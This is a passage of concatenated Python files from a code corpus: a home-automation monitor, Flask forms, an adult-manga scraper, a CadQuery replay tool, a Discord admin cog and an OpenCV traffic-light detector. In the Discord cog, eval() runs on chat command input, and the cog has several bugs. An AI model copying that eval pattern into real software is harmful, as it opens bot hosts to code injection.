debug(\"debugEventMonitor\", \"eventMonitor\", resource.name, eventType, eventTime, camera)\n if camera != \"\":\n if runCameras:\n createEvent(eventType, camera, eventTime)\n # send a notification if enabled\n msg = \"\"\n if (resourceStates[\"alertDoors\"]) and (eventType == \"door\"):\n msg = resource.label+\" door is open\"\n notifyType = \"alertDoors\"\n elif (resourceStates[\"alertMotion\"]) and (eventType == \"motion\"):\n msg = resource.label\n notifyType = \"alertMotion\"\n if msg != \"\":\n if camera != \"\":\n msg += \" https://shadyglade.thebuehls.com/\"\n msg += \"cameras/image/\"+camera+\"/\"+eventTime[0:8]+\"/\"\n msg += eventTime+\"_\"+eventType\n notify(resources, notifyType, msg)\n serviceUpTimes[resource.name] = float(\"inf\")\n except KeyError: # service is down at the start\n serviceUpTimes[resource.name] = float(\"inf\")\n except Exception as ex:\n logException(\"serviceWatch\", ex)\n","sub_path":"ha/eventMonitor.py","file_name":"eventMonitor.py","file_ext":"py","file_size_in_byte":5283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"327842806","text":"#!/usr/bin/env python\n# encoding: utf-8\n\n\"\"\"\n File name: type.py\n Function Des: 书种表单\n ~~~~~~~~~~\n\n author: Jerry \n\n\"\"\"\n\nfrom __future__ import unicode_literals\n\nfrom flask_wtf import Form\nfrom wtforms import StringField, HiddenField\nfrom wtforms.validators import DataRequired, Length\nfrom WebApp.main.models import Book, Type\n\n\nclass TypeAddForm(Form):\n form_type = HiddenField('', default='add')\n name = StringField(\n '', validators=[\n DataRequired(message=\"种类名不能为空\"),\n Length(min=1, max=40, message=\"长度必须在1-40位之间\")\n ], description='输入种类名',\n )\n\n def validate_name(self, field):\n if Type.objects(name=field.data):\n raise ValueError('')\n\n def save(self):\n book_type = Type(name=self.name.data)\n book_type.name = self.name.data\n book_type.save()\n return book_type\n\n\nclass TypeFilterForm(Form):\n form_type = HiddenField('', default='filter')\n name = StringField('', description='输入种类名 (留空表示不过滤)')\n\n def filter(self):\n name = self.name.data\n if not name:\n types = Type.objects()\n else:\n types = Type.objects(name=name)\n return types\n\n\nclass TypeRemoveForm(Form):\n name = StringField()\n\n def remove(self):\n book_type = Type.objects(name=self.name.data)\n return book_type.delete()\n\n\nclass RemoveReferenceForm(Form):\n def remove(self, name):\n the_type = Type.objects(name=name).first()\n if not the_type:\n raise ValueError\n all_books = Book.objects()\n for book in all_books:\n if the_type in book.type:\n book.type.remove(the_type)\n book.save()\n","sub_path":"WebApp/main/forms/type.py","file_name":"type.py","file_ext":"py","file_size_in_byte":1817,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"412152674","text":"import socket\nimport socks\nimport os\nimport requests\nimport re\nfrom urllib.request import urlretrieve\n\n# global variable define\nDOWNLOAD_LOCATION = \"/home/wngg/PycharmProjects/testProject\"\nROOT_OF_WEB = \"http://www.hentai2012.com\"\n#TYPT_OF_BOOK = \"hentai_manga\"\nTYPT_OF_BOOK = \"hentai_doujin\"\n\ndef main():\n\n # socks5 proxy setting\n socks.set_default_proxy(socks.SOCKS5, \"127.0.0.1\", 1080)\n socket.socket = socks.socksocket\n\n # download\n #fileName = \"result_manga.txt\"\n fileName = \"result_doujin.txt\"\n file = open(fileName)\n\n while True:\n\n if not file.readline() :\n\n break\n\n cadification = file.readline()[13:-1]\n file.readline()\n file.readline()\n numberOfPages = file.readline()[6:-1]\n file.readline()\n downloadBook(TYPT_OF_BOOK,cadification,numberOfPages)\n\n file.close()\n\ndef downloadBook(typeOfBook,cadification,numberOfPages) :\n\n #提示\n print(\"Download : \" + cadification)\n\n #检测是否已经下载了\n if os.path.exists(DOWNLOAD_LOCATION + \"/\" + cadification) :\n\n if os.path.exists(DOWNLOAD_LOCATION + \"/\" + cadification + \"/\" + \"%03d\" %int(numberOfPages) + \".jpg\") :\n\n return\n\n else :\n\n os.makedirs(DOWNLOAD_LOCATION + \"/\" + cadification)\n\n #获取下载链接\n urlOfDownload = re.search('class=\"thumbnail\">\"\"', requests.get(ROOT_OF_WEB + \"/\" + typeOfBook + \"/\" + cadification).text).group(1)\n\n for i in range(1,int(numberOfPages) + 1) :\n\n urlretrieve(ROOT_OF_WEB + urlOfDownload + \"/\" + \"%03d\" %i + \".jpg\" , DOWNLOAD_LOCATION + \"/\" + cadification + \"/\" + \"%03d\" %i + \".jpg\")\n\n\n\n\nif __name__ == '__main__':\n\n main()","sub_path":"download_doujin.py","file_name":"download_doujin.py","file_ext":"py","file_size_in_byte":1703,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"540167757","text":"#\n# Copyright 2019 Bernhard Walter\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nfrom dataclasses import dataclass, field\nfrom typing import Any, List, Dict\nimport warnings\n\nfrom IPython.display import display\nfrom IPython import get_ipython\n\nfrom ipywidgets import HBox, Output, SelectMultiple, Layout\n\nimport cadquery as cq\nfrom jupyter_cadquery.cadquery import Part, show\nfrom jupyter_cadquery.cadquery.cqparts import is_cqparts_part, convert_cqparts\nfrom jupyter_cadquery.cad_display import get_or_create_display\nfrom .cad_objects import to_assembly\nfrom jupyter_cadquery.cad_objects import _combined_bb\nfrom jupyter_cadquery.defaults import get_default\n\n#\n# The Runtime part\n# It hooks into __getattribute__ and intercept EVERY python call\n# One should only enable replay when necessary for debugging\n#\n\n\ndef attributes(names):\n def wrapper(cls):\n for name in names:\n\n def fget(self, name=name):\n if self.is_empty():\n raise ValueError(\"Context empty\")\n return self.stack[-1][name]\n\n def fset(self, value, name=name):\n if self.is_empty():\n raise ValueError(\"Context empty\")\n self.stack[-1][name] = value\n\n setattr(cls, name, property(fget, fset))\n return cls\n\n return wrapper\n\n\n@attributes((\"func\", \"args\", \"kwargs\", \"obj\", \"children\"))\nclass Context(object):\n def __init__(self):\n self.stack = []\n self.new()\n\n def _to_dict(self, func, args, kwargs, obj, children):\n return {\n \"func\": func,\n \"args\": args,\n \"kwargs\": kwargs,\n \"obj\": obj,\n \"children\": children,\n }\n\n def new(self):\n self.push(None, None, None, None, [])\n\n def clear(self):\n self.stack = []\n\n def is_empty(self):\n return self.stack == []\n\n def is_top_level(self):\n return len(self.stack) == 1\n\n def pop(self):\n if not self.is_empty():\n result = self.stack[-1]\n self.stack = self.stack[:-1]\n return result\n else:\n raise ValueError(\"Empty context\")\n\n def push(self, func, args, kwargs, obj, children):\n self.stack.append(self._to_dict(func, args, kwargs, obj, children))\n\n def append(self, func, args, kwargs, obj, children):\n self.stack[-1].append(self._to_dict(func, args, kwargs, obj, children))\n\n def update(self, func, args, kwargs, obj=None, children=None):\n self.func = func\n self.args = args\n self.kwargs = kwargs\n if obj is not None:\n self.obj = obj\n if children is not None:\n self.children = children\n\n def append_child(self, context):\n self.stack[-1][\"children\"].append(context)\n\n def __repr__(self):\n if self.is_empty():\n result = \" >> Context empty\"\n else:\n result = \"\"\n for i, e in enumerate(self.stack):\n result += \" >> %d: %s(%s, %s); %s / %s\\n\" % (\n i,\n e[\"func\"],\n e[\"args\"],\n e[\"kwargs\"],\n e[\"obj\"],\n e[\"children\"],\n )\n return result\n\n\n_CTX = Context()\nDEBUG = True\nREPLAY = False\n\n\ndef _trace(*objs):\n if DEBUG:\n print(*objs)\n\n\ndef _add_context(self, name):\n def _blacklist(name):\n return name.startswith(\"_\") or name in (\n \"Workplane\",\n \"val\",\n \"vals\",\n \"all\",\n \"size\",\n \"add\",\n \"toOCC\",\n \"findSolid\",\n \"findFace\",\n \"toSvg\",\n \"exportSvg\",\n \"largestDimension\",\n )\n\n def _is_recursive(func):\n return func in [\"union\", \"cut\", \"intersect\"]\n\n def intercept(parent, func):\n def f(*args, **kwargs):\n _trace(\"1 calling\", func.__name__, args, kwargs)\n _trace(_CTX)\n\n if _is_recursive(func.__name__):\n _ = _CTX.pop()\n _trace(\" --> level down\")\n _trace(_CTX)\n\n if _CTX.args is None:\n _trace(\"2 updating\")\n _CTX.update(func.__name__, args, kwargs)\n _trace(_CTX)\n\n result = func(*args, **kwargs)\n\n if func.__name__ == _CTX.func:\n _CTX.obj = result\n\n if _CTX.is_top_level():\n result._caller = _CTX.pop()\n _trace(\"<== _caller\", func.__name__, result._caller)\n else:\n context = _CTX.pop()\n _CTX.append_child(context)\n _trace(\"<== added child\", context)\n _CTX.new()\n\n _trace(\"3 leaving\", func.__name__)\n _trace(_CTX)\n return result\n\n return f\n\n attr = object.__getattribute__(self, name)\n if callable(attr):\n if not _blacklist(attr.__name__):\n _trace(\"==> intercepting\", attr.__name__)\n if _is_recursive(attr.__name__):\n _trace(\" --> level up\")\n _CTX.new()\n _trace(_CTX)\n\n return intercept(self, attr)\n return attr\n\n\n#\n# The UI part\n# It evaluates and optimizes what the runtime part had collected\n#\n\n\n@dataclass\nclass Step:\n level: int = 0\n func: str = \"\"\n args: List[Any] = field(default_factory=list)\n kwargs: Dict[Any, str] = field(default_factory=dict)\n var: str = \"\"\n result_name: str = \"\"\n result_obj: Any = None\n\n def clear_func(self):\n self.func = self.args = self.kwargs = \"\"\n\n\nclass Replay(object):\n def __init__(self, quality, deviation, angular_tolerance, edge_accuracy, debug, cad_width, height):\n self.debug_output = Output()\n self.quality = quality\n self.deviation = deviation\n self.angular_tolerance = angular_tolerance\n self.edge_accuracy = edge_accuracy\n self.debug = debug\n self.cad_width = cad_width\n self.height = height\n self.display = get_or_create_display()\n self.reset_camera = True\n\n def format_steps(self, raw_steps):\n def to_code(step, results):\n def to_name(obj):\n if isinstance(obj, cq.Workplane):\n name = results.get(obj, None)\n else:\n name = str(obj)\n return obj if name is None else name\n\n if step.func != \"\":\n if step.func == \"newObject\":\n args = (\"...\",)\n else:\n args = tuple([to_name(arg) for arg in step.args])\n code = \"%s%s%s\" % (\"| \" * step.level, step.func, args)\n code = code[:-2] if len(step.args) == 1 else code[:-1]\n if len(step.args) > 0 and len(step.kwargs) > 0:\n code += \",\"\n if step.kwargs != {}:\n code += \", \".join([\"%s=%s\" % (k, v) for k, v in step.kwargs.items()])\n code += \")\"\n if step.result_name != \"\":\n code += \" => %s\" % step.result_name\n elif step.var != \"\":\n code = \"%s%s\" % (\"| \" * step.level, step.var)\n else:\n code = \"ERROR\"\n return code\n\n steps = []\n entries = []\n obj_index = 1\n\n results = {step.result_obj: None for step in raw_steps}\n\n for i in range(len(raw_steps)):\n step = raw_steps[i]\n next_level = step.level if i == (len(raw_steps) - 1) else raw_steps[i + 1].level\n\n # level change, so add/use the variable name\n if step.level > 0 and step.level != next_level and step.result_name == \"\":\n obj_name = \"_v%d\" % obj_index\n obj_index += 1\n step.result_name = obj_name\n steps.append(step)\n\n for step in steps:\n if results[step.result_obj] is None:\n # first occurence, take note and keep\n results[step.result_obj] = step.result_name\n else:\n # next occurences remove function and add variable name\n step.var = results[step.result_obj]\n step.clear_func()\n\n last_level = 1000000\n for step in reversed(steps):\n if step.level < last_level:\n last_level = 1000000\n entries.insert(0, (to_code(step, results), step.result_obj))\n if step.var != \"\":\n last_level = step.level\n\n return entries\n\n def to_array(self, workplane, level=0, result_name=\"\"):\n def walk(caller, level=0, result_name=\"\"):\n stack = [\n Step(\n level,\n func=caller[\"func\"],\n args=caller[\"args\"],\n kwargs=caller[\"kwargs\"],\n result_name=result_name,\n result_obj=caller[\"obj\"],\n )\n ]\n for child in reversed(caller[\"children\"]):\n stack = walk(child, level + 1) + stack\n for arg in child[\"args\"]:\n if isinstance(arg, cq.Workplane):\n result_name = getattr(arg, \"name\", None)\n stack = self.to_array(arg, level=level + 2, result_name=result_name) + stack\n return stack\n\n stack = []\n\n obj = workplane\n while obj is not None:\n caller = getattr(obj, \"_caller\", None)\n result_name = getattr(obj, \"name\", \"\")\n if caller is not None:\n stack = walk(caller, level, result_name) + stack\n for arg in caller[\"args\"]:\n if isinstance(arg, cq.Workplane):\n result_name = getattr(arg, \"name\", \"\")\n stack = self.to_array(arg, level=level + 1, result_name=result_name) + stack\n obj = obj.parent\n\n return stack\n\n def select_handler(self, change):\n with self.debug_output:\n if change[\"name\"] == \"index\":\n self.select(change[\"new\"])\n\n def select(self, indexes):\n self.debug_output.clear_output()\n with self.debug_output:\n self.indexes = indexes\n cad_objs = [self.stack[i][1] for i in self.indexes]\n\n # Add hidden result to start with final size and allow for comparison\n if not isinstance(self.stack[-1][1].val(), cq.Vector):\n result = Part(self.stack[-1][1], \"Result\", show_faces=False, show_edges=False)\n objs = [result] + cad_objs\n else:\n objs = cad_objs\n\n with self.debug_output:\n assembly = to_assembly(*objs)\n mapping = assembly.to_state()\n shapes = assembly.collect_mapped_shapes(\n mapping,\n quality=self.quality,\n deviation=self.deviation,\n angular_tolerance=self.angular_tolerance,\n edge_accuracy=self.edge_accuracy,\n render_edges=get_default(\"render_edges\"),\n render_normals=get_default(\"render_normals\"),\n )\n tree = assembly.to_nav_dict()\n\n self.display.add_shapes(\n shapes=shapes, mapping=mapping, tree=tree, bb=_combined_bb(shapes), reset_camera=self.reset_camera\n )\n self.reset_camera = False\n\n\ndef replay(\n cad_obj,\n index=-1,\n quality=None,\n deviation=0.1,\n angular_tolerance=0.2,\n edge_accuracy=None,\n debug=False,\n cad_width=600,\n height=600,\n):\n\n if not REPLAY:\n print(\"Replay is not enabled. To do so call 'enable_replay()'. Falling back to 'show()'\")\n return show(cad_obj, cad_width=cad_width, height=height)\n else:\n print(\"Use the multi select box below to select one or more steps you want to examine\")\n\n r = Replay(quality, deviation, angular_tolerance, edge_accuracy, debug, cad_width, height)\n\n if isinstance(cad_obj, cq.Workplane):\n workplane = cad_obj\n elif is_cqparts_part(cad_obj):\n workplane = convert_cqparts(cad_obj, replay=True)\n else:\n print(\"Cannot replay\", cad_obj)\n return None\n\n r.stack = r.format_steps(r.to_array(workplane, result_name=getattr(workplane, \"name\", None)))\n if index == -1:\n r.indexes = [len(r.stack) - 1]\n else:\n r.indexes = [index]\n\n r.select_box = SelectMultiple(\n options=[\"[%02d] %s\" % (i, code) for i, (code, obj) in enumerate(r.stack)],\n index=r.indexes,\n rows=len(r.stack),\n description=\"\",\n disabled=False,\n layout=Layout(width=\"600px\"),\n )\n r.select_box.add_class(\"monospace\")\n r.select_box.observe(r.select_handler)\n display(HBox([r.select_box, r.debug_output]))\n\n r.select(r.indexes)\n return r\n\n\n#\n# Control functions to enable, disable and reset replay\n#\n\n\ndef reset_replay():\n def warning_on_one_line(message, category, filename, lineno, file=None, line=None):\n return \"%s: %s\" % (category.__name__, message)\n\n warn_format = warnings.formatwarning\n warnings.formatwarning = warning_on_one_line\n warnings.simplefilter(\"always\", RuntimeWarning)\n warnings.warn(\"jupyter_cadquery replay is enabled, turn off with disable_replay()\", RuntimeWarning)\n warnings.formatwarning = warn_format\n\n _CTX.clear()\n _CTX.new()\n\n\ndef enable_replay(warning=True, debug=False):\n global DEBUG, REPLAY\n\n DEBUG = debug\n\n print(\"\\nEnabling jupyter_cadquery replay\")\n cq.Workplane.__getattribute__ = _add_context\n\n if warning:\n print(\"Note: To get rid of this warning, use 'enable_replay(False)'\")\n ip = get_ipython()\n if not \"reset_replay\" in [f.__name__ for f in ip.events.callbacks[\"pre_run_cell\"]]:\n ip.events.register(\"pre_run_cell\", reset_replay)\n REPLAY = True\n\n\ndef disable_replay():\n global REPLAY\n print(\"Removing replay from cadquery.Workplane (will show a final RuntimeWarning if not suppressed)\")\n cq.Workplane.__getattribute__ = object.__getattribute__\n\n ip = get_ipython()\n if \"reset_replay\" in [f.__name__ for f in ip.events.callbacks[\"pre_run_cell\"]]:\n ip.events.unregister(\"pre_run_cell\", reset_replay)\n REPLAY = False\n","sub_path":"jupyter_cadquery/cadquery/replay.py","file_name":"replay.py","file_ext":"py","file_size_in_byte":14830,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"282545697","text":"import discord\nfrom discord.ext import commands\n\n\nclass Administration(commands.Cog):\n def __init__(self, client_instance, bot_instance):\n self.client = client_instance\n self.bot = bot_instance\n\n def is_admin(self, member: discord.Member, ctx):\n admin_role = ctx.guild.get_role(int(self.bot.settings[\"{0}\".format(ctx.guild.id)][\"ADMIN_ROLE\"]))\n \n return admin_role in member.roles and admin_role is not None\n\n @commands.group()\n async def temp_role(self, ctx):\n \"\"\"\n Controls all temporary role commands and functions\n \"\"\"\n \n if ctx.invoked_subcommand is None:\n await ctx.send(\":x: Invalid temp_role command, try again.\")\n\n @temp_role.command()\n async def set_role(self, ctx, roleid: int):\n \"\"\"\n Configures a temporary role to assign via /temp_role assign_all\n \"\"\"\n \n if not self.is_admin(ctx.author, ctx):\n await ctx.send(\"Sorry {0}, you can't use that.\".format(ctx.author))\n else:\n role = ctx.guild.get_role(roleid)\n if role is not None:\n self.bot.settings[\"{0}\".format(ctx.guild.id)][\"TEMP_ROLE\"] = roleid\n await ctx.send(\":white_check_mark: Temporary role set to '{0}'\".format(role))\n else:\n await ctx.send(\":x: Invalid role id, try again.\")\n \n @temp_role.command()\n async def view(self, ctx):\n \"\"\"\n Views the current temporary role\n \"\"\"\n \n if not self.is_admin(ctx.author, ctx):\n await ctx.send(\"Sorry {0}, you can't use that.\".format(ctx.author))\n else:\n try:\n setting = self.bot.settings[\"{0}\".format(ctx.guild.id)][\"TEMP_ROLE\"]\n role = ctx.guild.get_role(setting)\n await ctx.send(\"Temporary Role is currently set to '{0}' (id: {1})\".format(role, role.id))\n except KeyError:\n await ctx.send(\":x: No Tempory Role not assigned! Use ``/temp_role set_role`` to set a temporary role.\")\n\n @temp_role.command()\n async def assign_all(self, ctx):\n \"\"\"\n Assignes a temporary role to all guild members\n \"\"\"\n \n if not self.is_admin(ctx.author, ctx):\n await ctx.send(\"Sorry {0}, you can't use that.\".format(ctx.author))\n else:\n try:\n roleid = self.bot.settings[\"{0}\".format(ctx.guild.id)][\"TEMP_ROLE\"]\n role = ctx.guild.get_role(roleid)\n except KeyError:\n await ctx.send(\":x: No Tempory Role not assigned! Use ``/temp_role set_role`` to set a temporary role.\")\n return\n \n for member in ctx.guild.members:\n try:\n await self.client.add_roles(member, role)\n except discord.Forbidden:\n await ctx.send(f\":x: I do not have permission to edit the roles for {member}\")\n return\n except discord.HTTPException:\n # member already has the role, move to the next member\n continue\n \n await ctx.send(\":white_check_mark: Temporary Role assignment completed.\")\n \n @temp_role.command()\n async def remove_all(self, ctx):\n \"\"\"\n Removes a temporary role from all guild members\n \"\"\"\n \n if not self.is_admin(ctx.author, ctx):\n await ctx.send(\"Sorry {0}, you can't use that.\".format(ctx.author))\n else:\n try:\n roleid = self.bot.settings[\"{0}\".format(ctx.guild.id)][\"TEMP_ROLE\"]\n role = ctx.guild.get_role(roleid)\n except KeyError:\n await ctx.send(\":x: Temp role not assigned! Use ``/temp_role setup`` to set a temporary role.\")\n return\n \n for member in ctx.guild.members:\n try:\n await self.client.remove_roles(member, role)\n except discord.Forbidden:\n await ctx.send(\":x: I do not have permission to edit the roles for {0}\".format(member))\n return\n except discord.HTTPException:\n # member never had the role to begin with, move to the next member\n continue\n \n await ctx.send(f\":white_check_mark: Temporary Role '{role.name}' removed from all members.\")\n \n @temp_role.command()\n async def delete(self, ctx):\n \"\"\"\n Deletes a temporary role (defined from /temp_role setup)\n \"\"\"\n if not self.is_admin(ctx.author, ctx):\n await ctx.send(\"Sorry {0}, you can't use that.\".format(ctx.author))\n else:\n try:\n role = ctx.guild.get_role(self.bot.settings[f\"{ctx.guild.id}\"][\"TEMP_ROLE\"])\n await role.delete(reason=f\"RoboWhalo /temp_role delete sent by {ctx.author}\")\n await ctx.send(\":white_check_mark: Temporary role deleted!\")\n del self.bot.settings[\"f{ctx.guild.id\"][\"TEMP_ROLE\"]\n except KeyError:\n await ctx.send(\":x: No temporary role defined, unable to delete.\")\n except discord.Forbidden:\n await ctx.send(f\":x: I do not have permission to delete role '{role}'\")\n \n @commands.group()\n async def role_mention(self, ctx):\n \"\"\"\n Controls all role mention related functions\n \"\"\"\n \n if ctx.invoked_subcommand is None:\n await ctx.send(\":x: Invalid role_mention command, try again.\")\n \n @role_mention.command()\n async def setup(self, ctx, *, snowflakes):\n \"\"\"\n Sets the roles to mention with /role_mention send\n \"\"\"\n \n if not self.is_admin(ctx.author, ctx):\n await ctx.send(\":x: Sorry {0}, you cant use that.\".format(ctx.author))\n else:\n mentions = \"\"\n snowflakes = snowflakes.split(\" \")\n for snowflake in snowflakes:\n # attempt to get the role\n role = ctx.get_role(int(snowflake))\n \n if role is not None:\n mentions += f\"{role.id}\"\n else:\n await ctx.send(f\"{snowflake} is not a valid role id, try again.\")\n return\n \n # write to guild settings\n if len(mentions) > 0:\n setting = self.bot.settings[f\"{ctx.guild.id}\"][\"MENTIONS\"]\n setting = mentions\n \n await ctx.send(f\":white_check_mark: Role mentions configured for the following snowflakes: '{setting}'\")\n else:\n await ctx.send(\":warning: Role mention was not set, no role id's provided.\")\n \n @role_mention.command()\n async def send(self, ctx, *, message):\n \"\"\"\n Sends a role mention message\n \"\"\"\n \n if not self.is_admin(ctx.author, ctx):\n await ctx.send(\":x: Sorry {0}, you cant use that.\".format(ctx.author))\n else:\n try:\n snowflakes = self.bot.settings[f\"{ctx.guild.id}\"][\"MENTIONS\"]\n except KeyError:\n await ctx.send(\":x: You don't have any role mentions set up! Use ``/role_mention setup ID1 ID2 ID3 ... etc`` first then try again.\")\n return\n \n # set the roles so that they can be mentioned\n mentions = \"\"\n roles = roles.split(\" \")\n del roles[len(roles)-1] # delete extra whitespace\n \n # save the role states before they were mentioned\n # if the role was mentionable to begin with, we will leave the 'mentionable' setting alone\n # if not, we will make it mentionable, send the role mention message, then change the setting back to it's default value\n \n before_states = { }\n for roleid in roles:\n role = ctx.guild.get_role(int(roleid))\n before_states[f\"{role.id}\"] = role.mentionable\n \n # check if the role is not already mentionable\n if not role.mentionable:\n # attempt to edit the role and make it mentionable\n try:\n await role.edit(mentionable=True, reason=\"RoboWhalo /role_mention send\")\n except discord.Forbidden:\n # no permission to edit roles\n await ctx.send(f\":x: I do not have permission to manage role '{role}'\")\n return\n \n mentions += f\"{role.mention} \"\n \n # send the role mention message\n await ctx.send(mentions + message)\n \n # set the role settings back to their default state\n for roleid in roles:\n role = ctx.guild.get_role(int(roleid))\n try:\n await role.edit(mentionable=before_states[f\"{role.id}\"], reason=\"RoboWhalo /role_mention send\")\n except discord.Forbidden:\n await ctx.send(f\":x: I do not have permission to change '{role}' back to it's previous state.\")\n return\n \n del self.bot.settings[f\"{ctx.guild.id}\"][\"MENTIONS\"]\n \n @commands.group()\n async def text_channel(self, ctx):\n \"\"\"\n Controls all text channel related commands and functions\n \"\"\"\n \n if ctx.invoked_subcommand is None:\n await ctx.send(\":x: Invalid text_channel command, try again.\")\n\n @text_channel.command()\n async def create(self, ctx, *, channel_name):\n \"\"\"\n Creates a new text channel\n \"\"\"\n \n if not self.is_admin(ctx.author, ctx):\n await ctx.send(\":x: Sorry {0}, you cant use that.\".format(ctx.author))\n else:\n try:\n await ctx.guild.create_text_channel(name=channel_name)\n await ctx.send(\":white_check_mark: Text channel {0} created!\".format(channel_name))\n except discord.Forbidden:\n await ctx.send(\":x: I don't have permission to create text channels.\")\n\n @text_channel.command()\n async def delete(self, ctx, *, channel_id):\n \"\"\"\t\n Deletes a text channel\t\n \"\"\"\n \n if not self.is_admin(ctx.author, ctx):\n await ctx.send(f\":x: Sorry {ctx.author}, you cant use that.\")\n else:\n try:\n channel = ctx.guild.get_channel(int(channel_id))\n await channel.delete()\n await ctx.send(f\":white_check_mark: {channel.name} successfully deleted!\")\n except discord.Forbidden:\n await ctx.send(\":x: I don't have permission to delete text channels.\")\n\n @text_channel.group()\n async def overwrites(self, ctx):\n \"\"\"\n Controls all text channel overwrite related commands and functions\n \"\"\"\n \n if ctx.invoked_subcommand is None:\n await ctx.send(\":x: Invalid text_channels overwrites command, try again.\")\n\n @overwrites.command()\n async def set(self, ctx, channel, data):\n \"\"\"\n Sets the overwrites in a text channel for a particular user or role\n \"\"\"\n\n if not self.is_admin(ctx.author, ctx):\n await ctx.send(\":x: Sorry {0}, you cant use that.\".format(ctx.author))\n else:\n channel_overwrite = discord.PermissionOverwrite()\n\n # attempt to create a target channel\n target_channel = ctx.guild.get_channel(int(channel))\n\n if target_channel is None:\n await ctx.send(\":x: Invalid channel id provided, try again.\")\n else:\n # attempt to get a target entity, whether its a role or a member\n target, overwrite_data = data.split(\":\")\n\n target_role = ctx.guild.get_role(int(target))\n target_member = ctx.guild.get_member(int(target))\n\n if target_role is None and target_member is None:\n # invalid target\n await ctx.send(\":x: Invalid target provided. Try again.\")\n else:\n # target is valid, set the target to either the role or the member, depending on which one is actually valid\n if target_role is not None:\n target_entity = target_role\n else:\n target_entity = target_member\n\n overwrite_data = overwrite_data.split(\",\")\n\n # get the overwrites\n for target_overwrite in overwrite_data:\n name, value = target_overwrite.split(\"=\")\n\n try:\n value = eval(value)\n except ValueError:\n await ctx.send(\":x: Failed to set channel overwrites: invalid boolean value in expression.\")\n return\n\n # get the proper overwrite\n if name == \"send_messages\":\n channel_overwrite.send_messages = value\n elif name == \"read_messages\":\n channel_overwrite.read_messages = value\n elif name == \"create_instant_invite\":\n channel_overwrite.create_instant_invite = value\n elif name == \"add_reactions\":\n channel_overwrite.add_reactions = value\n elif name == \"send_tts_messages\":\n channel_overwrite.send_tts_messages = value\n elif name == \"embed_links\":\n channel_overwrite.embed_links = value\n elif name == \"attach_files\":\n channel_overwrite.attach_files = value\n elif name == \"read_message_history\":\n channel_overwrite.read_message_history = value\n elif name == \"external_emojis\":\n channel_overwrite.external_emojis = value\n else:\n await ctx.send(\":x: Failed to set channel overwrites: I can't change the overwrite '{0}'\".format(name))\n return\n\n try:\n await target_channel.set_permissions(target_entity, overwrite=channel_overwrite)\n await ctx.send(\":white_check_mark: Channel overwrites for channel '{0}' set successfully!\".format(channel))\n except discord.Forbidden:\n await ctx.send(\":x: I am not allowed to edit channels.\")\n","sub_path":"administration.py","file_name":"administration.py","file_ext":"py","file_size_in_byte":14920,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"97024105","text":"#-*- coding: utf-8 -*-\n'''\n@version: 00\n@author: SiJinHui\n@license: Apache Licence \n@file: File_rename.py\n@time: 2016/12/23 下午 1:48\n'''\n\nimport os\n\n\ndef Rename():\n count = 0\n path = u\"lujing\"\n filelist = os.listdir(path) #该文件加下所有的文件(包括文件夹)\n #print filelist\n for files in filelist: #遍历所有文件\n Olddir = os.path.join(path, files) #原来的文件路径\n if os.path.isdir(Olddir): #如果是文件夹则跳过\n continue\n filename = os.path.splitext(files)[0] #文件名\n filetype = os.path.splitext(files)[1] #文件扩展名\n if filename.find('-') >= 0:\n Newdir = os.path.join(path, filename.split('-')[0] + str(count) + filetype) #新的文件路径\n #读取'-'前面的字符,读后面的为filename.split('-')[1]\n os.rename(Olddir, Newdir) #重命名\n count += 1\n\nRename()","sub_path":"File_rename.py","file_name":"File_rename.py","file_ext":"py","file_size_in_byte":923,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"504674485","text":"import cv2\nimport numpy as np\n\n\n\ndef getContours(img,N):\n contours,hierarchy = cv2.findContours(img,cv2.RETR_EXTERNAL,cv2.CHAIN_APPROX_NONE)\n for cnt in contours:\n area = cv2.contourArea(cnt)\n print(area)\n if area>150:\n cv2.drawContours(imgContour, cnt, -1, (255, 0, 0), 3)\n peri = cv2.arcLength(cnt,True)\n #print(peri)\n approx = cv2.approxPolyDP(cnt,0.02*peri,True)\n print(len(approx))\n objCor = len(approx)\n x, y, w, h = cv2.boundingRect(approx)\n\n # if objCor ==3: objectType =\"Tri\"\n # elif objCor == 4:\n # aspRatio = w/float(h)\n # if aspRatio >0.98 and aspRatio <1.03: objectType= \"Square\"\n # else:objectType=\"Rectangle\"\n # elif objCor>4: objectType= \"Circles\"\n # else:objectType=\"None\"\n if N==0:objectType=\"red\"\n elif N==1: objectType=\"green\"\n cv2.rectangle(imgContour,(x,y),(x+w,y+h),(0,255,0),2)\n cv2.putText(imgContour,objectType,\n (x+(w//2)-10,y+(h//2)-10),cv2.FONT_HERSHEY_COMPLEX,0.7,\n (0,0,0),2)\n\nimg = cv2.imread(\"source/hld2.jpg\")\nimg=cv2.resize(img,(0,0),fx=0.8,fy=0.8,interpolation=cv2.INTER_NEAREST)\nimgContour = img.copy()\n#红绿灯2的HSV范围\nhsv = cv2.cvtColor(img,cv2.COLOR_BGR2HSV)\nlower_hsv_red = np.array([100,110,153])\nupper_hsv_red = np.array([179,240,255])\nmask_red = cv2.inRange(hsv,lowerb=lower_hsv_red,upperb=upper_hsv_red)\nred_blur = cv2.medianBlur(mask_red, 7)\n\nlower_hsv_green = np.array([40,18,153])\nupper_hsv_green = np.array([140,240,255])\nmask_green = cv2.inRange(hsv,lowerb=lower_hsv_green,upperb=upper_hsv_green)\n #中值滤波\n#红绿灯1的HSV范围\n# hsv = cv2.cvtColor(img,cv2.COLOR_BGR2HSV)\n# lower_hsv_red = np.array([0,110,153])\n# upper_hsv_red = np.array([18,240,255])\n# mask_red = cv2.inRange(hsv,lowerb=lower_hsv_red,upperb=upper_hsv_red)\n# red_blur = cv2.medianBlur(mask_red, 7)\n#\n# lower_hsv_green = np.array([44,90,153])\n# upper_hsv_green = 